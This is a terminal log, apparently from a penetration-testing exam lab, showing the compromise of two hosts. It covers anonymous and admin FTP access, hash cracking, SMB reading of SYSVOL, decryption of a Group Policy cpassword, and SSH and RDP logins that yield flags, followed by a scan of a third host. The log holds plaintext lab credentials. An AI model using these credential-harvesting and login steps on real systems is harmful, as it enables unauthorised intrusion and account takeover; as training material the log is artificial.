$#Port Enumeration
$sudo rustscan -a 10.50.148.31 -- -A -sC
$ 
$PORT      STATE SERVICE REASON         VERSION
$2243/tcp  open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
$| ssh-hostkey: 
$|   2048 78:bb:11:65:c6:f4:33:0f:c4:f1:17:18:d2:5b:16:95 (RSA)
$| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtPzwpnrSdbHGUa7PJZdTxtrgKyHv7IGbPN/qMyzSrHrf53D/U56gOvMQe9w0RDiNkEYuUrein347MkaUGvmP/iGXBGxx7qWbkcWZIGnM6Q7CpdyUBImhrbnh5nBX8i6SuHkzOJa4QRiPQrJeLL5oY9uQfY8gbrtL8/AcVzmSGPd+fIEP9FqVt6Rgt/O5voVyPvlCUvx1QhtG7AY1nYNzPgJU9kWCrPiKCd+yezbW48q6mJDpRqT9GqCh6teqvBGtQ61k/cUHWcydtYE/AqN/oOvrSQiBa4EMv6NQ+PjEznPZybHG8Lc7RrEVm3C7CX2U8aBVf9KUwjowt73V90MDT
$|   256 ae:10:0a:93:f1:ca:6c:0a:08:3d:f2:de:e5:1a:5f:6b (ECDSA)
$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMJvziyg1C14pUvpIAvjU1OXtUShJBE12QILyBM/CwlHQrtC+TqUOiL3Iga4dexzy57J6JXO+l45uyap+Va4jlQ=
$|   256 8d:f6:98:9f:d3:0c:e5:0a:81:a3:d5:93:a9:eb:2a:b8 (ED25519)
$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDYkGKSxiAg85FRafm0GTmtF9Arlt1fms+w0rBWYVsZe
$ 
$37653/tcp open  ftp     syn-ack ttl 63 pyftpdlib 1.5.6
$| ftp-anon: Anonymous FTP login allowed (FTP code 230)
$|_-rwxr-xr-x   1 root     root           72 Jun 24  2021 README.txt
$| ftp-syst: 
$|   STAT: 
$| FTP server status:
$|  Connected to: 10.50.148.31:37653
$|  Waiting for username.
$|  TYPE: ASCII; STRUcture: File; MODE: Stream
$|  Data connection closed.
$|_End of status.

$ftp 10.50.148.31 37653                            
$Connected to 10.50.148.31.
$220 pyftpdlib 1.5.6 ready.
$Name (10.50.148.31:kali): anonymous
$331 Username ok, send password.
$Password: 
$230 Login successful.
$Remote system type is UNIX.
$Using binary mode to transfer files.
$ftp> ls
$229 Entering extended passive mode (|||36517|).
$150 File status okay. About to open data connection.
$-rwxr-xr-x   1 root     root           72 Jun 24  2021 README.txt
$226 Transfer complete.
$ftp> mget *
$No such file or directory.
$ftp> cat README.txt
$?Invalid command.
$ftp> get README.txt
$local: README.txt remote: README.txt
$229 Entering extended passive mode (|||34644|).
$125 Data connection already open. Transfer starting.
$100% |**********************************************************************************************|    72      168.21 KiB/s    00:00 ETA
$226 Transfer complete.
$72 bytes received in 00:00 (140.34 KiB/s)
$ftp> ls -la
$229 Entering extended passive mode (|||58521|).
$125 Data connection already open. Transfer starting.
$-rwxr-xr-x   1 root     root           72 Jun 24  2021 README.txt
$226 Transfer complete.
$ftp> exit
$221 Goodbye.
$ 
$─$ ls
$README.txt
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_1]
$└─$ cat README.txt                
$Only administrators can access auth tickets. Please log in as an admin.
$ 
$ ftp 10.50.148.31 37653
$Connected to 10.50.148.31.
$220 pyftpdlib 1.5.6 ready.
$Name (10.50.148.31:kali): admin
$331 Username ok, send password.
$Password: 
$230 Login successful.
$Remote system type is UNIX.
$Using binary mode to transfer files.
$ftp> ls
$229 Entering extended passive mode (|||42961|).
$125 Data connection already open. Transfer starting.
$drwxr-xr-x   2 root     root         4096 Jun 24  2021 anon
$-rwxr-xr-x   1 root     root           75 Jun 24  2021 authtickets.txt
$226 Transfer complete.
$ftp> mget *
$No such file or directory.
$ftp> get anon
$local: anon remote: anon
$229 Entering extended passive mode (|||35833|).
$550 Is a directory.
$ftp> get authtickets.txt
$local: authtickets.txt remote: authtickets.txt
$229 Entering extended passive mode (|||52126|).
$125 Data connection already open. Transfer starting.
$100% |**********************************************************************************************|    75      231.77 KiB/s    00:00 ETA
$226 Transfer complete.
$75 bytes received in 00:00 (195.31 KiB/s)
$ftp> cd anon
$250 "/anon" is the current directory.
$ftp> pwd
$Remote directory: /anon
$ftp> ls -la
$229 Entering extended passive mode (|||46432|).
$125 Data connection already open. Transfer starting.
$-rwxr-xr-x   1 root     root           72 Jun 24  2021 README.txt
$226 Transfer complete.
$ftp> ls
$229 Entering extended passive mode (|||44159|).
$125 Data connection already open. Transfer starting.
$-rwxr-xr-x   1 root     root           72 Jun 24  2021 README.txt
$226 Transfer complete.
$ftp> cd ..
$250 "/" is the current directory.
$ftp> ls
$229 Entering extended passive mode (|||33279|).
$125 Data connection already open. Transfer starting.
$drwxr-xr-x   2 root     root         4096 Jun 24  2021 anon
$-rwxr-xr-x   1 root     root           75 Jun 24  2021 authtickets.txt
$226 Transfer complete.
$ftp> cd ..
$250 "/" is the current directory.
$ftp> ls
$229 Entering extended passive mode (|||55780|).
$150 File status okay. About to open data connection.
$drwxr-xr-x   2 root     root         4096 Jun 24  2021 anon
$-rwxr-xr-x   1 root     root           75 Jun 24  2021 authtickets.txt
$226 Transfer complete.
$ 
$(kali㉿kali)-[~/evolve/exam/target_1]
$└─$ ls
$authtickets.txt  README.txt
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_1]
$└─$ cat authtickets.txt 
$ssh:sarah:149d4a2ed7e20b6f1ec2d3ea71b4c44c9fe923a95544d6092b7e87c6b1c8ade7

$ssh sarah@10.50.148.31 -p 2243
$password: 123mango
$ 
$FLAG{skfjbwiefbi3kewlifnoiwefbwe290e2el2mslq9nw}

$#Port Enumeration
$sudo rustscan -a 10.50.153.129 -- -A -sC
$ 
$PORT      STATE SERVICE       REASON          VERSION
$53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
$ 
$80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
$| http-methods: 
$|   Supported Methods: OPTIONS TRACE GET HEAD POST
$|_  Potentially risky methods: TRACE
$|_http-server-header: Microsoft-IIS/10.0
$|_http-title: Site doesn't have a title (text/html).
$ 
$88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-08 14:19:05Z)
$ 
$135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
$389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: devolve.local, Site: Default-First-Site-Name)
$445/tcp   open  microsoft-ds  syn-ack ttl 127 Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: DEVOLVE)
$ 
$464/tcp   open  kpasswd5?     syn-ack ttl 127
$ 
$593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
$ 
$636/tcp   open  tcpwrapped    syn-ack ttl 127
$ 
$3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: devolve.local, Site: Default-First-Site-Name)
$ 
$3269/tcp  open  tcpwrapped    syn-ack ttl 127
$ 
$3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
$| rdp-ntlm-info: 
$|   Target_Name: DEVOLVE
$|   NetBIOS_Domain_Name: DEVOLVE
$|   NetBIOS_Computer_Name: WINDOM
$|   DNS_Domain_Name: devolve.local
$|   DNS_Computer_Name: WINDOM.devolve.local
$|   Product_Version: 10.0.14393
$|_  System_Time: 2025-09-08T14:19:58+00:00
$|_ssl-date: 2025-09-08T14:20:38+00:00; 0s from scanner time.
$| ssl-cert: Subject: commonName=WINDOM.devolve.local
$| Issuer: commonName=WINDOM.devolve.local
$| Public Key type: rsa
$| Public Key bits: 2048
$| Signature Algorithm: sha256WithRSAEncryption
$| Not valid before: 2025-09-07T14:00:44
$| Not valid after:  2026-03-09T14:00:44
$| MD5:   d114:f3b3:a54a:772c:2221:0529:fbf3:d636
$| SHA-1: 4b32:5767:8b7c:425e:ea50:f0b5:c089:9835:bc2d:88d6
$ 
$5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
$|_http-server-header: Microsoft-HTTPAPI/2.0
$|_http-title: Not Found
$9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
$49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$49673/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
$49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$49728/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$49762/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
$Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
$Device type: general purpose
$Running (JUST GUESSING): Microsoft Windows 2016|2012 (87%)

$#Started Enumeratinng port 80 and found interesting user-backups.txt directory.

$Opened it up in a browser and found a HASH for User Michael: 6301f07fe177c71a748caccdae4c9d2e834ff55f9ce196267dab5f76d552020a

$Timothy: [REDACTED FOR SECURITY REASONS] Michael: 6301f07fe177c71a748caccdae4c9d2e834ff55f9ce196267dab5f76d552020a
$#Cracked the Hash with Crackstation and got his password Butterfly1

$$ feroxbuster -u http://WINDOM.devolve.local -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 20
$                                                                                                                                           
$ ___  ___  __   __     __      __         __   ___
$|__  |__  |__) |__) | /  `    /  \ _/ | |  \ |__
$|    |___ |  \ |  \ | __,    __/ / \ | |__/ |___
$by Ben "epi" Risher 🤓                 ver: 2.11.0
$───────────────────────────┬──────────────────────
$ 🎯  Target Url            │ http://WINDOM.devolve.local
$ 🚀  Threads               │ 20
$ 📖  Wordlist              │ /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
$ 👌  Status Codes          │ All Status Codes!
$ 💥  Timeout (secs)        │ 7
$ 🦡  User-Agent            │ feroxbuster/2.11.0
$ 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
$ 🔎  Extract Links         │ true
$ 💲  Extensions            │ [htm, php, html, js, txt, zip, bak, asp, aspx, xml, py]
$ 🏁  HTTP methods          │ [GET]
$ 📍  Follow Redirects      │ true
$ 🔃  Recursion Depth       │ 4
$ 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
$───────────────────────────┴──────────────────────
$ 🏁  Press [ENTER] to use the Scan Management Menu™
$──────────────────────────────────────────────────
$404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
$200      GET        1l        1w       44c http://windom.devolve.local/
$200      GET        1l        1w       44c http://windom.devolve.local/index.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/jobseeker.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/dtg.php
$404      GET        0l        0w     1245c http://windom.devolve.local/wire.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/youth.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/to.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/762.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/programme.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/752.htm
$[#>------------------] - 13m   283578/4983096 3h      found:10      errors:1003   
$🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_WINDOM_devolve_local-1757343727.state ...
$[#>------------------] - 13m   283587/4983096 3h      found:10      errors:1003   
$[#>------------------] - 13m   146928/2491548 190/s   http://WINDOM.devolve.local/ 
$[#>------------------] - 13m   146808/2491548 191/s   http://windom.devolve.local/ 
$ 
$$ feroxbuster -u http://WINDOM.devolve.local -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirb/wordlists/big.txt -t 20
$                                                                                                                                           
$ ___  ___  __   __     __      __         __   ___
$|__  |__  |__) |__) | /  `    /  \ _/ | |  \ |__
$|    |___ |  \ |  \ | __,    __/ / \ | |__/ |___
$by Ben "epi" Risher 🤓                 ver: 2.11.0
$───────────────────────────┬──────────────────────
$ 🎯  Target Url            │ http://WINDOM.devolve.local
$ 🚀  Threads               │ 20
$ 📖  Wordlist              │ /usr/share/dirb/wordlists/big.txt
$ 👌  Status Codes          │ All Status Codes!
$ 💥  Timeout (secs)        │ 7
$ 🦡  User-Agent            │ feroxbuster/2.11.0
$ 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
$ 🔎  Extract Links         │ true
$ 💲  Extensions            │ [htm, php, html, js, txt, zip, bak, asp, aspx, xml, py]
$ 🏁  HTTP methods          │ [GET]
$ 📍  Follow Redirects      │ true
$ 🔃  Recursion Depth       │ 4
$ 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
$───────────────────────────┴──────────────────────
$ 🏁  Press [ENTER] to use the Scan Management Menu™
$──────────────────────────────────────────────────
$404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
$200      GET        1l        1w       44c http://windom.devolve.local/
$200      GET        1l        1w       44c http://windom.devolve.local/Index.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/admin2009.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/adhd.htm
$404      GET        0l        0w     1245c http://windom.devolve.local/admi.php
$404      GET        0l        0w     1245c http://windom.devolve.local/adler-mannheim.php
$404      GET        0l        0w     1245c http://windom.devolve.local/adg.php
$404      GET        0l        0w     1245c http://windom.devolve.local/adjs.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin2.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin1.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin-console.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin00.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admcp.php
$404      GET        0l        0w     1245c http://windom.devolve.local/admin-old.php
$404      GET        0l        0w     1245c http://windom.devolve.local/adi.php
$200      GET        1l        1w       44c http://windom.devolve.local/index.htm
$[#########>----------] - 11m   242936/491256  9m      found:17      errors:1005   
$🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_WINDOM_devolve_local-1757343728.state ...
$[#########>----------] - 11m   242955/491256  9m      found:17      errors:1005   
$[##########>---------] - 11m   126768/245628  184/s   http://WINDOM.devolve.local/ 
$[##########>---------] - 11m   126384/245628  184/s   http://windom.devolve.local/    

$telnet WINDOM.devolve.local 49762
$Trying 10.50.153.129...
$^C
$telnet WINDOM.devolve.local 49728
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$^C
$telnet WINDOM.devolve.local 49677
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$telnet WINDOM.devolve.local 49674
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$ 
$telnet WINDOM.devolve.local 49673
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$ncacn_http/1.0help
$help 
$ 
$telnet WINDOM.devolve.local 49667
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$ 
$telnet WINDOM.devolve.local 49666
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$ 
$telnet WINDOM.devolve.local 9389 
$Trying 10.50.153.129...
$Connected to WINDOM.devolve.local.
$Escape character is '^]'.
$help
$Connection closed by foreign host.

$nxc smb 10.50.153.129 -u michael -p 'Butterfly1' --shares                                
$SMB         10.50.153.129   445    WINDOM           [*] Windows Server 2016 Datacenter 14393 x64 (name:WINDOM) (domain:devolve.local) (signing:False) (SMBv1:True)
$SMB         10.50.153.129   445    WINDOM           [+] devolve.local\michael:Butterfly1 
$SMB         10.50.153.129   445    WINDOM           [*] Enumerated shares
$SMB         10.50.153.129   445    WINDOM           Share           Permissions     Remark
$SMB         10.50.153.129   445    WINDOM           -----           -----------     ------
$SMB         10.50.153.129   445    WINDOM           ADMIN$                          Remote Admin
$SMB         10.50.153.129   445    WINDOM           C$                              Default share
$SMB         10.50.153.129   445    WINDOM           IPC$                            Remote IPC
$SMB         10.50.153.129   445    WINDOM           NETLOGON        READ            Logon server share 
$SMB         10.50.153.129   445    WINDOM           SYSVOL          READ            Logon server share
$ 
$smbclient //10.50.153.129/NETLOGON 
$Password for [WORKGROUP\kali]:
$Try "help" to get a list of possible commands.
$smb: > ls
$NT_STATUS_ACCESS_DENIED listing *
$smb: > ls -la
$NT_STATUS_ACCESS_DENIED listing \-la
$smb: > dir
$NT_STATUS_ACCESS_DENIED listing *
$smb: > pwd
$Current directory is \\10.50.153.129\NETLOGON\
$smb: > cd ..
$smb: > dir
$NT_STATUS_ACCESS_DENIED listing *
$smb: > cd \
$smb: > dir
$NT_STATUS_ACCESS_DENIED listing *
$smb: > ls
$NT_STATUS_ACCESS_DENIED listing *
$smb: > ls -la
$NT_STATUS_ACCESS_DENIED listing \-la
$smb: > exit
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_2]
$└─$ smbclient //10.50.153.129/SYSVOl  
$Password for [WORKGROUP\kali]:
$Try "help" to get a list of possible commands.
$smb: > dir
$NT_STATUS_ACCESS_DENIED listing *
$smb: > ls
$NT_STATUS_ACCESS_DENIED listing *
$smb: > ls -la
$NT_STATUS_ACCESS_DENIED listing \-la
$smb: > dir
$NT_STATUS_ACCESS_DENIED listing *
$smb: > help
$?              allinfo        altname        archive        backup         
$blocksize      cancel         case_sensitive cd             chmod          
$chown          close          del            deltree        dir            
$du             echo           exit           get            getfacl        
$geteas         hardlink       help           history        iosize         
$lcd            link           lock           lowercase      ls             
$l              mask           md             mget           mkdir          
$mkfifo         more           mput           newer          notify         
$open           posix          posix_encrypt  posix_open     posix_mkdir    
$posix_rmdir    posix_unlink   posix_whoami   print          prompt         
$put            pwd            q              queue          quit           
$readlink       rd             recurse        reget          rename         
$reput          rm             rmdir          showacls       setea          
$setmode        scopy          stat           symlink        tar            
$tarmode        timeout        translate      unlock         volume         
$vuid           wdel           logon          listconnect    showconnect    
$tcon           tdis           tid            utimes         logoff         
$..             !              
$smb: > backup
$smb: > listconnect
$0:      server=10.50.153.129, share=SYSVOl
$smb: > mget
$nothing to mget
$smb: > history
$0: dir
$1: ls
$2: ls -la
$3: dir
$4: help
$5: backup
$6: listconnect
$7: mget
$8: history
$smb: > allinfo
$allinfo <file>
$smb: > volume
$Error NT_STATUS_UNSUCCESSFUL getting volume info
$smb: > print
$print <filename>
$smb: > exit
$ 
$smbclient \\\\10.50.153.129\\NETLOGON -U michael
$Password for [WORKGROUP\michael]:
$Try "help" to get a list of possible commands.
$smb: > ls
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180944 blocks available
$smb: > dir
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180944 blocks available
$smb: > ls -la
$NT_STATUS_NO_SUCH_FILE listing \-la
$smb: > ls
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180944 blocks available
$smb: > pwd
$Current directory is \\10.50.153.129\NETLOGON\
$smb: > ^C
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_2]
$└─$ smbclient \\\\10.50.153.129\\SYSVOL -U michael
$Password for [WORKGROUP\michael]:
$Try "help" to get a list of possible commands.
$smb: > ls
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$  devolve.local                      Dr        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180944 blocks available
$smb: > cd devolve.local
$smb: \devolve.local> dir
$  .                                   D        0  Fri Mar  1 16:03:29 2019
$  ..                                  D        0  Fri Mar  1 16:03:29 2019
$  DfsrPrivate                      DHSr        0  Fri Mar  1 16:03:29 2019
$  Policies                            D        0  Fri Mar  1 16:05:23 2019
$  scripts                             D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180944 blocks available
$smb: \devolve.local> mget *
$NT_STATUS_NO_SUCH_FILE listing \devolve.local*
$smb: \devolve.local> cd DfsrPrivate
$cd \devolve.local\DfsrPrivate\: NT_STATUS_ACCESS_DENIED
$smb: \devolve.local> dir
$  .                                   D        0  Fri Mar  1 16:03:29 2019
$  ..                                  D        0  Fri Mar  1 16:03:29 2019
$  DfsrPrivate                      DHSr        0  Fri Mar  1 16:03:29 2019
$  Policies                            D        0  Fri Mar  1 16:05:23 2019
$  scripts                             D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local> cd Policies
$smb: \devolve.local\Policies> dir
$  .                                   D        0  Fri Mar  1 16:08:51 2019
$  ..                                  D        0  Fri Mar  1 16:08:51 2019
$  Timothy.xml.bk                      A      727  Fri Mar  1 16:08:51 2019
$  {064A542F-87C1-4F21-9D45-912366815A7F}      D        0  Fri Mar  1 16:05:23 2019
$  {31B2F340-016D-11D2-945F-00C04FB984F9}      D        0  Fri Mar  1 15:50:59 2019
$  {6AC1786C-016F-11D2-945F-00C04fB984F9}      D        0  Fri Mar  1 15:50:59 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local\Policies> get Timothy.xml.bk
$getting file \devolve.local\Policies\Timothy.xml.bk of size 727 as Timothy.xml.bk (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
$smb: \devolve.local\Policies> cd ..
$smb: \devolve.local> ls
$  .                                   D        0  Fri Mar  1 16:03:29 2019
$  ..                                  D        0  Fri Mar  1 16:03:29 2019
$  DfsrPrivate                      DHSr        0  Fri Mar  1 16:03:29 2019
$  Policies                            D        0  Fri Mar  1 16:05:23 2019
$  scripts                             D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local> cd scripts
$smb: \devolve.local\scripts> ls
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local\scripts> dir
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local\scripts> ls 
$  .                                   D        0  Fri Mar  1 15:50:48 2019
$  ..                                  D        0  Fri Mar  1 15:50:48 2019
$ 
$                7863807 blocks of size 4096. 4180943 blocks available
$smb: \devolve.local\scripts> exit
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_2]
$└─$ ls
$creds                                      ferox-http_WINDOM_devolve_local-1757343727.state  hash            users
$ferox-http_devolve_local-1757345192.state  ferox-http_WINDOM_devolve_local-1757343728.state  Timothy.xml.bk
$                                                                                                                                           
$┌──(kali㉿kali)-[~/evolve/exam/target_2]
$└─$ cat Timothy.xml.bk 
$<?xml version="1.0" encoding="utf-8"?>
$ <Groups   clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
$           disabled="1">
$   <User   clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
$           name="Timothy"
$           image="2"
$           changed="2007-07-06 20:45:20"
$           uid="{253F4D90-150A-4EFB-BCC8-6E894A9105F7}">
$     <Properties
$           action="U"
$           newName=""
$           fullName="Timothy"
$           description="Timothy (Domain)"
$           cpassword="G1NzsYMShaLJP0cTWOaT9ZdVg0Bq1fRlg/aJ15jlpYbw+n92qZhJ62pbT0MWsfnR"
$           changeLogon="0"
$           noChange="0"
$           neverExpires="0"
$           acctDisabled="0"
$           userName="TimothyASpecialDomainUser"/>
$   </User>
$   </Groups>

$gpp-decrypt "G1NzsYMShaLJP0cTWOaT9ZdVg0Bq1fRlg/aJ15jlpYbw+n92qZhJ62pbT0MWsfnR"
$ 
$�YoullNeverCatchMe1

$nxc winrm 10.50.153.129 -u michael -p 'Butterfly1'
$WINRM       10.50.153.129   5985   WINDOM           [*] Windows 10 / Server 2016 Build 14393 (name:WINDOM) (domain:devolve.local)
$/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
$  arc4 = algorithms.ARC4(self._key)
$WINRM       10.50.153.129   5985   WINDOM           [-] devolve.local\michael:Butterfly1
$ 
$(kali㉿kali)-[~/evolve/exam/target_2]
$└─$ nxc rdp 10.50.153.129 -u michael -p 'Butterfly1'
$RDP         10.50.153.129   3389   WINDOM           [*] Windows 10 or Windows Server 2016 Build 14393 (name:WINDOM) (domain:devolve.local) (nla:False)
$RDP         10.50.153.129   3389   WINDOM           [+] devolve.local\michael:Butterfly1 

$xfreerdp3 /u:timothy /p:'YoullNeverCatchMe1' /drive:/home/kali/evolve/exam/target_2 /v:10.50.153.129 /dynamic-resolution
$ 
$FLAG{wkldjown9wqldnadnwopq2nsadbanldnop2klwndalnw}

$sudo rustscan -a 10.50.153.224 -- -A -sC
$ 
$#Port Enumeration
$PORT     STATE SERVICE     REASON         VERSION
$22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
$| ssh-hostkey: 
$|   1024 e8:e4:fb:30:6d:67:a1:d0:df:f2:e9:f9:98:cf:47:ff (DSA)
$| ssh-dss AAAAB3NzaC1kc3MAAACBAPUyzvdBC/Vrw/BOxl3zghEhELp+Y1pwifpOHQZNrrGYROKYuY1c9KR6ORydst3ufGBMoC9t/mXM7MNimDv9LYcCOrR2RPa0T/1nYMirV9Ps4tSkUW6rvm1VX3E2zbSMKsAEsyAjcSLs7ZMsAvOP3jZnd07x5ZBRHmZ0bFho1IfBAAAAFQDHDzwCc24b+kb9CAvBWuzmmphiSwAAAIEA9EgguiJ6587BbftAwo6CMOJQodqHe2APao7bypSAyP9hsrQTioWDJ66NY6f2xalSUN2Ssb54DcINvQ49PF9LSir12mIN0Abz1fWCKhkFEb95S0VltHm4+pcuIge3l/hnv7YHU/xpYLiJTAu25KwaEZQS4YEMFpVvMI1PwmLmLb0AAACAeinyXaRJJLUdkJ75lurCDCPSVqCXIQayjUjTNa914aIF0tJ/8uDnu2eFKekMqN/k+dHPBL9RJ/M0xob/uzUiIN4F/joxluii4Ka8lxEjdS+D3PYLa4e9eSven2xUuR6o8O/lJX6OiR1bphb+iiIu/CEplxZ1MaiURIFk++iqXqE=
$|   2048 eb:c6:0b:86:6d:f9:51:07:37:c1:92:b2:99:41:f0:16 (RSA)
$| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAS5J+Ux4HQuVgpRu7A+E02Dw3YboO33qfNuPuKexNQOAOlxuDUcf24gMIL0IWQOCFWR8vcuGIZPtQ+csWKuVWNsmw3uF8PrSACFVBFh1gpGTDg6memxYf+NrwIkkkPUNt5fSzr3FSeimOJNpRmPg9qSMwTxI9m0yVvJjBmwql9cfm5RyRVMoU4BPDtJjgQEIDKZLGDZbEC9OlOOImKCK9tRwvsbd1ECEHxPPk6wds0eBj1YpZ6h7eecFXiDtw8Gh8Vjmh3h1cFiSARXGhrh6ExdTlDpydr2jMbxhKC5MCl4l8i5bXJMXTUzhkL5XzfOUCFVEKzOkno9ht7zlWhtoZ
$|   256 2f:75:69:c3:92:20:4c:b0:40:d5:08:fc:8c:95:13:1c (ECDSA)
$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGN8wVOtRm72yhgiaqti8dNbp1xbFSb5xXNdqUUmb1U+M+2lv8x3apHMNml/f8/iOYGuDpJFvPlau3PXiYQ+m2g=
$|   256 61:27:b8:80:9b:44:5a:ba:0d:05:26:d2:a2:66:59:44 (ED25519)
$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP12kBuZ+dWOXnlqSXUvq7hC2dXLke2ltEiWynC/Veo1
$ 
$25/tcp   open  smtp        syn-ack ttl 63 JAMES smtpd 2.3.2
$|_smtp-commands: localhost Hello nmap.scanme.org (10.50.8.96 [10.50.8.96])
$ 
$80/tcp   open  http        syn-ack ttl 63 Apache httpd 2.4.7
$|_http-server-header: Apache/2.4.7 (Ubuntu)
$|_http-title: Index of /
$| http-methods: 
$|_  Supported Methods: OPTIONS GET HEAD POST
$| http-ls: Volume /
$| SIZE  TIME              FILENAME
$| -     2019-03-02 03:00  html/
$| -     2019-03-02 03:00  mail/
$|_
$ 
$110/tcp  open  pop3        syn-ack ttl 63 JAMES pop3d 2.3.2
$ 
$1080/tcp open  http        syn-ack ttl 63 Thin httpd 1.5.1 (codename Straight Razor)
$| http-methods: 
$|_  Supported Methods: GET HEAD
$|_http-server-header: thin 1.5.1 codename Straight Razor
$|_http-favicon: Unknown favicon MD5: BAEFB5D4FD5460C6A572D90827CA117E
$|_http-title: MailCatcher
$ 
$4555/tcp open  james-admin syn-ack ttl 63 JAMES Remote Admin 2.3.2
